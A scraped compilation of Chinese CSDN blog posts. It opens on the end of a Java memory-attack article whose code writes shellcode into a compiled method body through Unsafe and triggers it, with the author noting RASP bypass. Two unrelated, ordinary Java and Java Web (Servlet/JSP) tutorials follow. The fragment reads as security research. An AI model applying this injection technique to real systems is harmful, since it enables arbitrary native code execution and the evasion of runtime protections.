unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body } redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger allocate } catch (Exception e) { e.printStackTrace(); } } private int a(int x) { if (x>1) { // System.out.println("x>1"); } else { // System.out.println("x<=1"); } return x*1; } private void b(int x) { if (a(x)>1) { //System.out.println("x>1"); this.a(x); } else { this.a(x+4); // System.out.println("x<=1"); } }}编译,运行,成功执行了shellcode,弹出计算器。到此,我们通过纯Java代码实现了跨平台的任意Native代码执行,从而可以解锁很多新玩法,比如绕过RASP实现命令执行、文件读写、数据库连接等等。小结本文主要介绍了几种我最近研究的内存相关的攻击方法,欢迎大家交流探讨,文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了,所以行文略有仓促,若有纰漏之处,欢迎批评指正。———————————————— 原文链接:https://blog.csdn.net/2401_83384536/article/details/137550331
-
引言Java,作为一门跨平台的高级编程语言,自1995年由Sun Microsystems推出以来,凭借其“一次编写,到处运行”的特性,迅速在全球范围内获得了广泛的认可和应用。无论是企业级应用、移动应用开发,还是大数据处理、云计算平台,Java都扮演着举足轻重的角色。本篇文章旨在为初学者提供一条清晰的学习路径,同时也为有一定基础的开发者提供进阶的指导,帮助大家从入门走向精通。一、Java基础篇:搭建环境与基础语法1.1 安装Java开发工具包(JDK)下载JDK:访问Oracle官网或OpenJDK网站,下载适合你操作系统的最新版本的JDK。配置环境变量:安装完成后,需设置JAVA_HOME和PATH环境变量,以便在任何目录下都能使用java和javac命令。验证安装:通过命令行输入java -version和javac -version,确认安装成功且版本信息正确。1.2 第一个Java程序:Hello World创建源文件:使用文本编辑器创建一个名为HelloWorld.java的文件,输入基本的Java类结构。编译程序:在命令行中使用javac HelloWorld.java命令编译源文件,生成HelloWorld.class字节码文件。运行程序:使用java HelloWorld命令执行编译后的字节码,输出“Hello, World!”。1.3 Java基础语法变量与数据类型:了解基本数据类型(如int, double, char, boolean)及引用类型(如String),掌握变量的声明与初始化。运算符:熟悉算术、比较、逻辑、位运算符及其使用场景。控制结构:掌握if-else, switch-case, for, while, do-while等控制流程语句。数组:理解数组的声明、初始化及遍历方法。1.4 面向对象编程(OOP)类与对象:理解类的定义、对象的创建及成员变量与方法的访问。封装:通过访问修饰符(public, private, protected, default)实现数据的隐藏与保护。继承:掌握子类继承父类的机制,重写父类方法,使用super关键字。多态:理解接口与抽象类的区别,通过接口实现多态性。异常处理:学习try-catch-finally结构,自定义异常类。二、Java进阶篇:核心API与集合框架2.1 Java核心APIString类:深入理解字符串的不变性,掌握常用方法如substring, indexOf, replaceAll等。包装类:了解基本数据类型的包装类(如Integer, Double),及其与基本类型间的转换。日期与时间API:掌握Date, Calendar, SimpleDateFormat的使用,以及Java 8引入的java.time包。I/O流:理解输入流与输出流的概念,掌握FileInputStream, FileOutputStream, BufferedReader, BufferedWriter等类的使用。2.2 集合框架Collection接口:了解List, Set, Queue接口及其常用实现类(如ArrayList, LinkedList, HashSet, TreeSet)。Map接口:掌握HashMap, TreeMap, LinkedHashMap的用法,理解键值对存储机制。集合遍历:熟悉for-each循环, Iterator, ListIterator等遍历方式。集合工具类:学习Collections类的排序、查找、转换等静态方法。2.3 泛型与注解泛型:理解泛型的概念,掌握泛型类、泛型接口、泛型方法的定义与使用。注解:了解注解的类型(标记、单值、完整),自定义注解,以及注解处理器的基本使用。三、Java高级篇:并发编程与网络编程3.1 并发编程线程基础:理解线程的概念,掌握Thread类与Runnable接口创建线程的方法。同步机制:学习synchronized关键字与Lock接口,解决线程安全问题。线程池:了解ExecutorService接口,掌握ThreadPoolExecutor与ScheduledThreadPoolExecutor的使用。并发集合:熟悉ConcurrentHashMap, CopyOnWriteArrayList等线程安全集合的使用。3.2 网络编程Socket编程:掌握TCP/IP协议,使用ServerSocket与Socket类实现客户端-服务器通信。URL与HTTP:了解URL类,使用HttpURLConnection或第三方库(如Apache HttpClient)进行HTTP请求处理。NIO(New I/O):理解缓冲区、通道、选择器的概念,掌握NIO的基本使用。四、Java实战篇:框架与项目实践4.1 Spring框架Spring Core:理解IoC(控制反转)与AOP(面向切面编程)的概念,掌握Spring Bean的配置与管理。Spring MVC:学习MVC模式,掌握Spring MVC的配置、请求处理及视图解析。Spring Boot:了解Spring Boot的自动配置机制,快速构建Web应用,掌握Spring Boot Starter的使用。4.2 数据库访问JDBC:掌握JDBC的基本操作,理解Connection, Statement, ResultSet的使用。ORM框架:学习MyBatis与Hibernate等ORM框架,理解对象关系映射的原理,掌握MyBatis的Mapper接口与XML配置,以及Hibernate的Session、Transaction管理。4.3 Web前端集成HTML/CSS/JavaScript:了解基本的Web前端技术,能够与Java后端进行简单的页面交互。JSP/Servlet:掌握JSP页面元素、Servlet生命周期及请求处理,实现动态网页生成。Ajax与JSON:学习Ajax技术,使用JavaScript异步请求Java后端接口,处理JSON格式数据。4.4 实战项目:构建一个简单的电商系统4.4.1 项目规划需求分析:确定用户角色(买家、卖家)、功能模块(商品浏览、购物车、订单管理、支付接口模拟等)。技术选型:Spring Boot作为后端框架,MyBatis进行数据库访问,前端采用HTML+CSS+JavaScript+Ajax。4.4.2 后端开发搭建项目骨架:使用Spring Initializr创建Spring Boot项目,配置MyBatis及数据库连接。实体类与Mapper接口:根据数据库表结构设计实体类,编写Mapper接口及对应的XML映射文件。Service层与Controller层:实现业务逻辑层,编写RestController处理HTTP请求,返回JSON格式数据。安全认证:简单实现用户登录认证,使用Spring Security或自定义过滤器。4.4.3 前端开发页面设计:使用HTML与CSS设计商品列表、详情、购物车等页面。交互逻辑:使用JavaScript与Ajax实现页面动态更新,如添加到购物车、提交订单等。响应式布局:利用Bootstrap等前端框架,使网站在不同设备上都能良好显示。4.4.4 测试与部署单元测试:编写JUnit测试用例,对关键业务逻辑进行验证。集成测试:使用Postman等工具模拟HTTP请求,测试前后端接口联调。部署上线:了解云服务器(如阿里云、腾讯云)的部署流程,将项目打包部署至服务器,配置域名访问五、Java精通篇:性能优化与架构设计5.1 性能优化代码优化:减少不必要的对象创建,使用合适的数据结构,优化算法逻辑。内存管理:理解JVM内存模型,掌握垃圾回收机制,使用JVM参数调优。并发优化:分析线程争用,优化锁策略,使用并发集合与线程池提高性能。数据库优化:索引设计,SQL查询优化,连接池配置,分库分表策略。5.2 架构设计微服务架构:理解微服务概念,掌握Spring Cloud或Dubbo等微服务框架,实现服务注册、发现、调用。分布式系统:学习CAP理论,掌握分布式锁、分布式事务、消息队列(如RabbitMQ, Kafka)的使用。缓存策略:使用Redis, Memcached等缓存中间件,提升系统响应速度。日志与监控:集成ELK Stack(Elasticsearch, Logstash, Kibana),实现日志收集、分析与监。六、结语Java作为一门功能强大、生态丰富的编程语言,其学习之路既充满挑战也极具价值。从基础语法到高级特性,从单机应用到分布式系统,每一步都凝聚着开发者的智慧与汗水。本文试图通过从入门到精通的全面指南,为Java学习者提供一条清晰的学习路径。然而,技术的海洋浩瀚无垠,真正的精通需要不断的实践、探索与积累。愿每位Java开发者都能在这条道路上越走越远,创造出更多有价值的作品。———————————————— 原文链接:https://blog.csdn.net/m0_72256543/article/details/143635231
-
引言:开启 Java Web 之旅在互联网技术飞速发展的当下,Web 应用已成为连接用户与数据的关键桥梁,深入到生活的各个角落。从日常使用的社交平台、购物网站,到企业内部的管理系统,Web 应用无处不在,为人们的生活和工作带来了极大的便利。而 Java Web,凭借其强大的功能、卓越的稳定性和广泛的适用性,在 Web 开发领域占据着举足轻重的地位。Java,作为一种跨平台的编程语言,拥有丰富的类库和强大的开发工具,为 Web 开发提供了坚实的技术支撑。Java Web 不仅继承了 Java 语言的优点,还融合了一系列专门用于 Web 开发的技术和框架,使得开发者能够高效地构建出功能丰富、性能卓越的 Web 应用程序。Java Web 技术涵盖了多个层面,从底层的 Servlet 和 JSP,到中层的各种框架,如 Spring、Spring MVC、MyBatis 等,再到上层的前端技术,如 HTML、CSS、JavaScript 等,形成了一个完整的技术体系。这些技术相互协作,共同完成了 Web 应用从请求处理、业务逻辑实现到数据展示的全过程。Servlet 作为 Java Web 应用的基础组件,运行在服务器端,负责接收客户端的 HTTP 请求,处理业务逻辑,并将处理结果返回给客户端。它的生命周期由 Servlet 容器管理,使得开发者可以专注于业务逻辑的实现,而无需过多关注底层的细节。JSP 则是一种用于生成动态 Web 内容的技术,它允许将 Java 代码嵌入到 HTML 页面中,使得页面能够根据不同的请求动态生成内容。通过 JSP,开发者可以方便地实现页面的动态化,提高用户体验。随着 Web 应用规模的不断扩大和业务复杂度的不断增加,各种框架应运而生。Spring 框架以其强大的依赖注入(DI)和面向切面编程(AOP)功能,简化了 Java Web 应用的开发过程,提高了代码的可维护性和可扩展性。Spring MVC 作为 Spring 框架的一个重要模块,实现了 MVC 设计模式,将业务逻辑、数据展示和用户交互分离,使得代码结构更加清晰,易于开发和维护。MyBatis 框架则专注于数据库访问层的开发,通过简单的 XML 配置或注解,实现了 Java 对象与数据库表之间的映射,大大提高了数据库操作的效率和灵活性。本博客旨在深入剖析 Java Web 开发的核心技术,从基础概念到高级应用,从理论知识到实际案例,全面而系统地介绍 Java Web 开发的各个方面。通过阅读本博客,读者将对 Java Web 开发有一个全面而深入的了解,掌握 Java Web 开发的核心技能,能够独立开发出功能完善、性能卓越的 Web 应用程序。无论是初学者还是有一定经验的开发者,都能从本博客中获得启发和帮助,开启自己的 Java Web 开发之旅。一、Java Web 基础概念大揭秘1.1 什么是 Java WebJava Web,从本质上来说,是运用 Java 技术来解决 Web 领域相关问题的技术集合。它涵盖了服务器端和客户端两部分的技术应用 ,不过当前 Java 在客户端的应用,如 Java Applet,已经较少使用,而在服务器端的应用则极为丰富,像 Servlet、JSP 以及各种第三方框架等都得到了广泛应用。以常见的电商网站为例,当用户在浏览器中输入网址并访问电商网站时,浏览器作为客户端向服务器发送请求。服务器端的 Java Web 应用程序接收到请求后,通过 Servlet 来处理业务逻辑,比如验证用户身份、查询商品信息等。然后,利用 JSP 生成动态的 HTML 页面,将商品列表、用户购物车等信息展示给用户。在这个过程中,还可能会使用到各种第三方框架,如 Spring 来管理对象的生命周期和依赖关系,MyBatis 来进行数据库操作,从而实现一个完整的、功能丰富的电商购物流程。1.2 Java Web 的优势剖析Java 语言自身具备的跨平台特性,使得基于 Java Web 开发的应用程序能够轻松地在不同的操作系统上运行,无需针对每个操作系统进行单独的开发和适配。这大大降低了开发成本和维护难度,提高了应用程序的通用性和可移植性。在安全性能方面,Java Web 有着严格的安全机制,通过字节码验证和安全管理器等手段,能够有效抵御各种潜在的恶意入侵,保障应用程序和用户数据的安全。以用户登录模块为例,Java Web 可以利用其安全特性,对用户输入的账号和密码进行加密传输和存储,防止被黑客窃取。Java 的多线程机制允许 Java Web 应用程序同时处理多个用户请求,通过为每个用户创建独立的线程,实现高效的并发处理。这使得应用程序在面对大量用户访问时,依然能够保持良好的性能和响应速度,确保用户能够获得流畅的使用体验。Java 拥有丰富的类库和各种优秀的开发框架,如前面提到的 Spring、MyBatis 等。这些框架提供了大量的通用功能和工具,开发者可以基于这些框架快速搭建应用程序的基础架构,减少了重复开发的工作量,提高了开发效率,并且使得代码的结构更加清晰,易于维护和扩展。1.3 Java Web 相关核心概念详解B/S 架构:即 Browser/Server(浏览器 / 服务器)架构,是随着 Web 技术兴起而流行的一种网络结构模式。在这种架构下,客户端只需要安装一个浏览器,如常见的 Chrome、Firefox、Edge 等,而系统功能实现的核心部分则集中在服务器端。用户通过浏览器向服务器发送请求,服务器接收请求后进行处理,并将处理结果返回给浏览器进行展示。例如,我们日常使用的各类网页版邮箱、在线办公系统等,都是基于 B/S 架构实现的。用户无需在本地安装复杂的软件,只需通过浏览器即可随时随地访问和使用这些服务。静态资源与动态资源:静态资源指的是那些内容固定不变的 Web 资源,如 HTML 页面、CSS 样式表、JavaScript 脚本文件、图片、音频、视频等。无论何时何地,不同用户访问这些静态资源,看到的内容都是相同的。它们可以直接被浏览器加载和解析,无需经过服务器的动态处理。而动态资源则是指内容会根据不同的请求和条件动态生成的 Web 资源。比如 JSP 页面、Servlet 等,它们会根据用户的请求参数、数据库中的数据等,在服务器端动态生成相应的 HTML 内容返回给浏览器。以新闻网站为例,新闻列表页面可能是一个动态资源,服务器会根据用户的浏览历史、所在地区等因素,动态生成个性化的新闻列表展示给用户。数据库:在 Java Web 应用中,数据库用于存储和管理应用程序所需的数据。常见的关系型数据库有 MySQL、Oracle、SQL Server 等,非关系型数据库有 MongoDB、Redis 等。数据库与 Java Web 应用程序之间通过各种数据库访问技术进行交互,如 JDBC(Java Database Connectivity)。以一个简单的用户注册功能为例,当用户在 Web 页面上填写注册信息并提交后,Java Web 应用程序会通过 JDBC 将用户信息插入到数据库中进行保存,以便后续的登录验证和用户数据管理。HTTP 协议:超文本传输协议(Hypertext Transfer Protocol,HTTP)是用于从万维网(WWW)服务器传输超文本到本地浏览器的传送协议,它基于 TCP/IP 通信协议来传递数据,包括 HTML 文件、图片文件、查询结果等。HTTP 是一个简单的请求 - 响应协议,客户端向服务器发送请求报文,服务器接收到请求后返回响应报文。请求报文包括请求行、请求头和请求体,响应报文则包括响应行、响应头和响应体。例如,当我们在浏览器中输入一个网址并按下回车键时,浏览器会根据 HTTP 协议向服务器发送一个 GET 请求,请求行中包含请求方法(GET)、请求资源的 URL 和 HTTP 协议版本;服务器接收到请求后,根据请求的资源返回相应的响应,响应行中包含 HTTP 协议版本、状态码和状态描述,状态码如 200 表示请求成功,404 表示请求的资源未找到等。Web 服务器:Web 服务器的作用是接收客户端的请求,对请求进行处理,并返回相应的响应。常见的 Web 服务器有 Tomcat、Jetty、Apache 等。其中,Tomcat 是一个免费的开源 Web 应用服务器,也是 Java Web 开发中常用的服务器之一,它不仅可以处理 HTML 页面的请求,还是一个 Servlet 和 JSP 容器,能够很好地支持 Java Web 应用的运行。当我们开发好一个 Java Web 应用后,需要将其部署到 Web 服务器上,才能对外提供服务。例如,将一个基于 Spring MVC 框架开发的 Web 应用部署到 Tomcat 服务器上,用户就可以通过浏览器访问该应用的 URL 来使用其提供的功能。二、搭建 Java Web 开发环境:步步为营2.1 所需软件大盘点JDK(Java Development Kit):Java 开发工具包,是 Java 开发的核心,包含了 Java 运行时环境(JRE)、Java 编译器(javac)、Java 解释器(java)等一系列开发工具和 Java 的核心类库。它是开发和运行 Java 程序的基础,无论是简单的 Java 应用程序还是复杂的 Java Web 项目,都离不开 JDK 的支持。MyEclipse 或 IntelliJ IDEA:这两者都是强大的 Java 集成开发环境(IDE)。MyEclipse 是在 Eclipse 基础上开发的企业级集成开发环境,对 Java EE 和各种开源技术有很好的支持,提供了丰富的 Web 开发功能,如服务器集成、HTML/CSS/JavaScript 编辑器等,适合企业级应用开发。IntelliJ IDEA 则以其强大的代码编辑、智能代码补全、代码导航和重构等功能著称,拥有丰富的插件生态系统,能够极大地提高开发效率,在企业开发和大型项目中应用广泛,深受开发者喜爱。Tomcat:一个开源的轻量级应用服务器,由 Apache 软件基金会开发。它实现了 Java Servlet、JavaServer Pages(JSP)和 Java Expression Language(EL)等 Java 技术,是 Java Web 应用程序开发的重要组成部分。Tomcat 可以作为独立的 Web 服务器运行,处理 HTTP 请求并返回响应,同时也是一个 Servlet 容器,能够运行 Servlet 和 JSP,为 Java Web 应用提供了一个稳定、高效的运行环境,适合中小型系统和并发访问用户不多的场合。MySQL:一种流行的开源关系型数据库管理系统,由瑞典 MySQL AB 公司开发,现属于 Oracle 旗下产品。在 Web 应用方面,MySQL 以其体积小、速度快、总体拥有成本低,尤其是开源的特点,成为众多中小型网站开发的首选数据库。它使用 SQL 语言进行数据的存储、查询、更新和管理,能够高效地处理大量数据,为 Java Web 应用提供数据存储和管理的支持。Navicat for MySQL:一款强大的 MySQL 数据库管理和开发工具,为数据库管理员和开发人员提供了一套功能齐全的工具集。它基于 Windows 系统,提供了直观的图形用户界面(GUI),可以与任何 3.21 或以上版本的 MySQL 一起工作,并支持大部分的 MySQL 最新功能,包括触发器、存储过程、函数、事件、视图、管理用户等。使用 Navicat for MySQL,用户可以方便地创建、管理和维护 MySQL 数据库,进行数据的导入导出、备份恢复、结构同步等操作,大大提高了数据库管理的效率。2.2 软件安装与配置全流程JDK 的安装与配置:首先,从 Oracle 官网下载适合操作系统的 JDK 安装包,下载完成后,双击安装包进行安装。在安装过程中,可以选择默认的安装路径,也可以根据个人需求自定义安装路径。安装完成后,需要配置环境变量。以 Windows 系统为例,右键点击 “此电脑”,选择 “属性”,在弹出的窗口中点击 “高级系统设置”,然后点击 “环境变量”。在系统变量中,新建一个变量名为 “JAVA_HOME”,变量值为 JDK 的安装路径;接着找到 “Path” 变量,点击 “编辑”,在变量值的开头添加 “% JAVA_HOME%\bin;”;再新建一个变量名为 “CLASSPATH”,变量值为 “.;% JAVA_HOME%\lib”。配置完成后,打开命令提示符,输入 “javac” 和 “java -version”,如果能正确显示相关信息,则说明 JDK 安装和配置成功。MyEclipse 的安装与配置:从 MyEclipse 官方网站下载安装包,下载后运行安装程序。安装过程中,按照提示逐步完成安装,包括选择安装路径、接受许可协议等步骤。安装完成后,首次启动 MyEclipse 时,会提示选择工作空间,工作空间用于存放项目文件和相关配置信息,可以根据自己的需求选择或创建一个新的工作空间。MyEclipse 默认已经集成了一些常用的插件和工具,但在开发 Java Web 项目时,可能还需要根据项目需求安装其他插件,如数据库驱动插件、代码生成插件等。可以通过 MyEclipse 的插件管理功能,在线或离线安装所需的插件。IntelliJ IDEA 的安装与配置:在 JetBrains 官网下载 IntelliJ IDEA 的安装包,有旗舰版(Ultimate Edition)和社区版(Community Edition)可供选择,旗舰版功能更全面,社区版免费但功能有所缩减,可根据个人需求选择下载。下载完成后,运行安装程序,按照安装向导的提示完成安装,选择安装路径、关联文件类型等。安装完成后启动 IntelliJ IDEA,首次启动时可以选择导入以前的设置,也可以使用默认设置。在创建 Java Web 项目之前,需要配置项目的 SDK(Software Development Kit),即指定项目使用的 JDK 版本。在 IntelliJ IDEA 的设置中,找到 “Project Structure”,在 “Project” 选项卡中选择正确的 JDK 版本。如果没有检测到已安装的 JDK,可以手动添加 JDK 的安装路径。IntelliJ IDEA 也拥有丰富的插件生态系统,可以根据开发需求安装各种插件,如代码检查插件、版本控制插件、数据库管理插件等。在设置中找到 “Plugins”,在插件市场中搜索并安装所需插件。Tomcat 的安装与配置:从 Apache Tomcat 官网下载 Tomcat 的压缩包,根据自己的需求选择合适的版本,如 Tomcat 8、Tomcat 9 等。下载完成后,将压缩包解压到指定的目录,解压后的目录即为 Tomcat 的安装目录。Tomcat 默认使用 8080 端口,可以根据实际情况修改端口号。打开 Tomcat 安装目录下的 “conf” 文件夹,找到 “server.xml” 文件,使用文本编辑器打开,在文件中找到类似 “” 的代码段,将 “port” 属性的值修改为需要的端口号,如 “80”(如果 80 端口未被占用,可直接修改为 80,这样访问 Web 应用时就不需要在 URL 中输入端口号)。配置完成后,启动 Tomcat。在 Tomcat 安装目录的 “bin” 文件夹下,找到 “startup.bat”(Windows 系统)或 “startup.sh”(Linux 系统),双击运行(Linux 系统需要赋予执行权限后再运行)。如果启动成功,会在命令行中看到 “Server startup in xxx ms” 的提示信息。此时,打开浏览器,输入 “http://localhost:8080/”(如果修改了端口号,将 8080 替换为修改后的端口号),如果能看到 Tomcat 的欢迎页面,则说明 Tomcat 安装和配置成功。MySQL 的安装与配置:从 MySQL 官网下载 MySQL 的安装包,根据操作系统和硬件环境选择合适的版本,如 Windows 64 位版本、Linux 版本等。下载完成后,运行安装程序,按照安装向导的提示进行安装,包括选择安装类型(如典型安装、自定义安装等)、设置安装路径、配置 MySQL 服务等步骤。在安装过程中,需要设置 root 用户的密码,务必牢记该密码,后续登录 MySQL 和管理数据库时会用到。安装完成后,配置 MySQL 的环境变量。在系统变量中,新建一个变量名为 “MYSQL_HOME”,变量值为 MySQL 的安装路径;然后找到 “Path” 变量,点击 “编辑”,在变量值中添加 “% MYSQL_HOME%\bin;”。配置完成后,打开命令提示符,输入 “mysql -u root -p”,然后输入设置的 root 用户密码,如果能成功进入 MySQL 命令行界面,则说明 MySQL 安装和配置成功。Navicat for MySQL 的安装与配置:从 Navicat 官网下载 Navicat for MySQL 的安装包,下载完成后,运行安装程序,按照安装向导的提示完成安装,包括选择安装路径、接受许可协议、选择安装组件等步骤。安装完成后,首次启动 Navicat for MySQL,需要进行注册或激活。如果是试用版,可以选择试用一定期限;如果购买了正版授权,可以输入授权信息进行激活。激活成功后,打开 Navicat for MySQL,点击 “连接” 按钮,选择 “MySQL”,在弹出的连接设置窗口中,填写连接名称(可自定义)、主机(通常为 “localhost”,如果 MySQL 安装在远程服务器上,则填写服务器的 IP 地址)、端口(默认 3306,如无特殊情况无需修改)、用户名(如 root)和密码(安装 MySQL 时设置的密码)。填写完成后,点击 “测试连接”,如果提示连接成功,则说明 Navicat for MySQL 与 MySQL 数据库连接配置成功,点击 “确定” 保存连接设置,即可通过 Navicat for MySQL 对 MySQL 数据库进行管理和操作 。三、深入 Java Web 核心技术:Servlet 与 JSP3.1 Servlet 详解Servlet 作为 Java Web 的核心技术之一,是运行在服务器端的 Java 程序,主要用于处理客户端的 HTTP 请求并生成动态的 Web 内容。它实现了 Java EE 中的 Servlet 规范,能够在服务器上扩展应用程序的功能,为 Web 应用提供了强大的后端支持。Servlet 的主要作用是充当客户端请求与服务器资源之间的桥梁。当客户端向服务器发送 HTTP 请求时,Servlet 容器(如 Tomcat)会接收该请求,并将其分配给相应的 Servlet 进行处理。Servlet 根据请求的内容,执行相应的业务逻辑,如查询数据库、处理表单数据等,然后生成动态的 HTML、XML 或其他格式的响应内容,返回给客户端。以一个简单的用户注册功能为例,当用户在 Web 页面上填写注册信息并提交表单时,表单数据会以 HTTP 请求的形式发送到服务器。服务器上的 Servlet 接收到该请求后,会从请求中获取用户输入的注册信息,如用户名、密码、邮箱等。然后,Servlet 会对这些信息进行验证和处理,比如检查用户名是否已存在、密码是否符合强度要求等。如果信息验证通过,Servlet 会将用户信息插入到数据库中,并返回注册成功的提示页面给用户;如果验证失败,Servlet 则会返回包含错误信息的页面,提示用户重新填写。接下来,我们通过一个简单的 Hello World 案例来快速入门 Servlet 开发。首先,创建一个 Java Web 项目,在项目中新建一个 Servlet 类,代码如下:import java.io.IOException;import java.io.PrintWriter;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse; @WebServlet("/hello")public class HelloWorldServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 设置响应内容类型为HTML response.setContentType("text/html"); // 获取输出流对象 PrintWriter out = response.getWriter(); // 输出HTML内容 out.println("<html><body>"); out.println("<h1>Hello, World!</h1>"); out.println("</body></html>"); }}在上述代码中,我们创建了一个名为HelloWorldServlet的 Servlet 类,它继承自HttpServlet类。@WebServlet("/hello")注解用于将该 Servlet 映射到/hello路径,即当客户端访问/hello时,会调用这个 Servlet。在doGet方法中,我们设置了响应内容类型为 HTML,并通过PrintWriter对象向客户端输出了一段 HTML 代码,显示 “Hello, World!”。Servlet 的执行流程如下:客户端向服务器发送 HTTP 请求,请求的 URL 中包含了 Servlet 的映射路径。服务器接收到请求后,根据请求的 URL 找到对应的 Servlet。如果 Servlet 尚未被加载,服务器会加载 Servlet 类,并创建一个 Servlet 实例。服务器调用 Servlet 的init方法,对 Servlet 进行初始化,该方法只会在 Servlet 第一次被加载时执行一次。服务器调用 Servlet 的service方法,根据请求的方法(如 GET、POST 等),调用相应的doGet、doPost等方法来处理请求。在处理请求过程中,Servlet 可以从请求对象中获取参数、请求头信息等,进行业务逻辑处理,并通过响应对象生成响应内容。处理完请求后,service方法返回,Servlet 继续等待下一个请求。当服务器关闭或 Servlet 需要被卸载时,服务器会调用 Servlet 的destroy方法,释放 Servlet 占用的资源。Servlet 的生命周期包括初始化、服务和销毁三个阶段:初始化阶段:在 Servlet 被加载到服务器内存时,服务器会创建一个 Servlet 实例,并调用其init方法。在init方法中,可以进行一些初始化操作,如读取配置文件、建立数据库连接等。init方法只在 Servlet 的生命周期中执行一次。服务阶段:当有客户端请求到达时,服务器会调用 Servlet 的service方法,根据请求的方法类型,service方法会调用相应的doGet、doPost等方法来处理请求。这个阶段是 Servlet 处理业务逻辑的主要阶段,会被多次调用,处理不同的客户端请求。销毁阶段:当服务器关闭或 Servlet 需要被卸载时,服务器会调用 Servlet 的destroy方法。在destroy方法中,可以进行一些资源释放操作,如关闭数据库连接、释放文件句柄等。destroy方法执行后,Servlet 实例被销毁,其占用的资源被释放。Servlet 类中常用的方法有:init(ServletConfig config):初始化方法,在 Servlet 实例被创建后调用,用于完成 Servlet 的初始化工作,如获取 Servlet 的配置参数等。service(ServletRequest request, ServletResponse response):服务方法,用于处理客户端的请求。根据请求的方法类型,service方法会调用相应的doGet、doPost等方法。在service方法中,可以获取请求对象和响应对象,进行业务逻辑处理和响应生成。doGet(HttpServletRequest request, HttpServletResponse response):处理 HTTP GET 请求的方法。GET 请求通常用于从服务器获取数据,在doGet方法中,可以从请求对象中获取参数,查询数据库或执行其他业务逻辑,然后将结果返回给客户端。doPost(HttpServletRequest request, HttpServletResponse response):处理 HTTP POST 请求的方法。POST 请求通常用于向服务器提交数据,如表单数据等。在doPost方法中,可以从请求对象中获取提交的数据,进行数据验证和处理,然后将处理结果返回给客户端。destroy():销毁方法,在 Servlet 实例被销毁前调用,用于释放 Servlet 占用的资源,如关闭数据库连接、释放文件句柄等。Servlet 的体系结构主要包括以下几个部分:Servlet 接口:所有 Servlet 都必须实现的接口,定义了 Servlet 的生命周期方法(init、service、destroy)以及获取 Servlet 配置信息的方法(getServletConfig)和获取 Servlet 信息的方法(getServletInfo)。GenericServlet 类:实现了 Servlet 接口的抽象类,提供了与协议无关的 Servlet 实现。它将 Servlet 接口中的方法进行了一些默认实现,使得开发者在创建 Servlet 时可以继承GenericServlet类,只需重写service方法即可,无需实现所有的 Servlet 接口方法。HttpServlet 类:继承自GenericServlet类,专门用于处理 HTTP 请求的 Servlet。它提供了doGet、doPost等方法来处理不同类型的 HTTP 请求,开发者在创建 HTTP Servlet 时,通常继承HttpServlet类,并根据需要重写doGet、doPost等方法,而无需直接实现service方法。在配置 Servlet 的映射路径时,可以使用@WebServlet注解或者在web.xml文件中进行配置。使用@WebServlet注解的方式比较简洁,如上述HelloWorldServlet类中的@WebServlet("/hello"),将 Servlet 映射到/hello路径。在web.xml文件中配置的方式如下:<web-app> <servlet> <servlet-name>HelloWorldServlet</servlet-name> <servlet-class>com.example.HelloWorldServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloWorldServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping></web-app>在上述配置中,<servlet>标签用于定义一个 Servlet,<servlet-name>指定 Servlet 的名称,<servlet-class>指定 Servlet 类的全限定名。<servlet-mapping>标签用于将 Servlet 映射到一个 URL 路径,<servlet-name>必须与<servlet>标签中的<servlet-name>一致,<url-pattern>指定映射的 URL 路径。3.2 JSP 探秘JSP(JavaServer Pages)是一种基于 Java Servlet 及 Java 平台的动态网页技术,它允许将 Java 代码嵌入到 HTML 页面中,使得页面能够根据不同的请求动态生成内容。JSP 本质上是 Servlet 的一种变体,在运行时会被编译成 Servlet,然后由 Servlet 容器来执行。JSP 与 Servlet 有着密切的关系,它们都是 Java Web 开发中的重要技术。JSP 可以看作是 Servlet 的一种简化形式,它更侧重于页面的展示,将动态内容的生成与 HTML 页面的编写结合在一起,使得开发者可以更方便地创建动态网页。而 Servlet 则更侧重于业务逻辑的处理,负责接收请求、处理业务逻辑,并将处理结果传递给 JSP 进行页面展示。在实际的 Java Web 应用开发中,通常会将 JSP 和 Servlet 结合使用,利用 Servlet 处理业务逻辑,JSP 负责页面的显示,以实现 MVC(Model - View - Controller)设计模式,提高代码的可维护性和可扩展性。下面我们来看一个简单的 JSP 页面示例:<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>JSP Example</title></head><body> <h1>Welcome to JSP!</h1> <p>Today is <%= new java.util.Date() %></p></body></html>在上述 JSP 页面中,<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>是 JSP 的指令标签,用于定义页面的属性,如使用的语言、内容类型和编码格式等。<h1>Welcome to JSP!</h1>是普通的 HTML 标签,用于在页面上显示标题。<p>Today is <%= new java.util.Date() %></p>中,<%= new java.util.Date() %>是 JSP 的表达式,用于在页面上输出 Java 代码的执行结果,这里输出当前的日期和时间。JSP 的语法元素主要包括以下几种:1.指令(Directives):用于定义 JSP 页面的全局属性和行为,如<%@ page %>用于定义页面的基本属性,<%@ include %>用于在 JSP 页面中包含其他文件,<%@ taglib %>用于引入自定义标签库等。2.脚本元素(Scripting Elements):表达式(Expressions):以<%= %>形式出现,用于在页面上输出 Java 表达式的结果,如上述示例中的<%= new java.util.Date() %>。脚本段(Scriptlets):以<% %>形式出现,用于在 JSP 页面中嵌入 Java 代码块,可以包含多行 Java 代码,进行复杂的业务逻辑处理。例如:<% int num1 = 5; int num2 = 3; int sum = num1 + num2;%><p>The sum of <%= num1 %> and <%= num2 %> is <%= sum %></p>声明(Declarations):以<%! %>形式出现,用于在 JSP 页面中声明变量、方法或类,这些声明的内容会被编译成 Servlet 类的成员。例如:<%! public int add(int a, int b) { return a + b; }%><p>The result of 5 + 3 is <%= add(5, 3) %></p>3.动作(Actions):以<jsp:xxx>形式出现,用于在 JSP 页面中执行特定的操作,如<jsp:forward>用于将请求转发到另一个资源,<jsp:include>用于动态包含另一个资源,<jsp:useBean>用于创建和使用 JavaBean 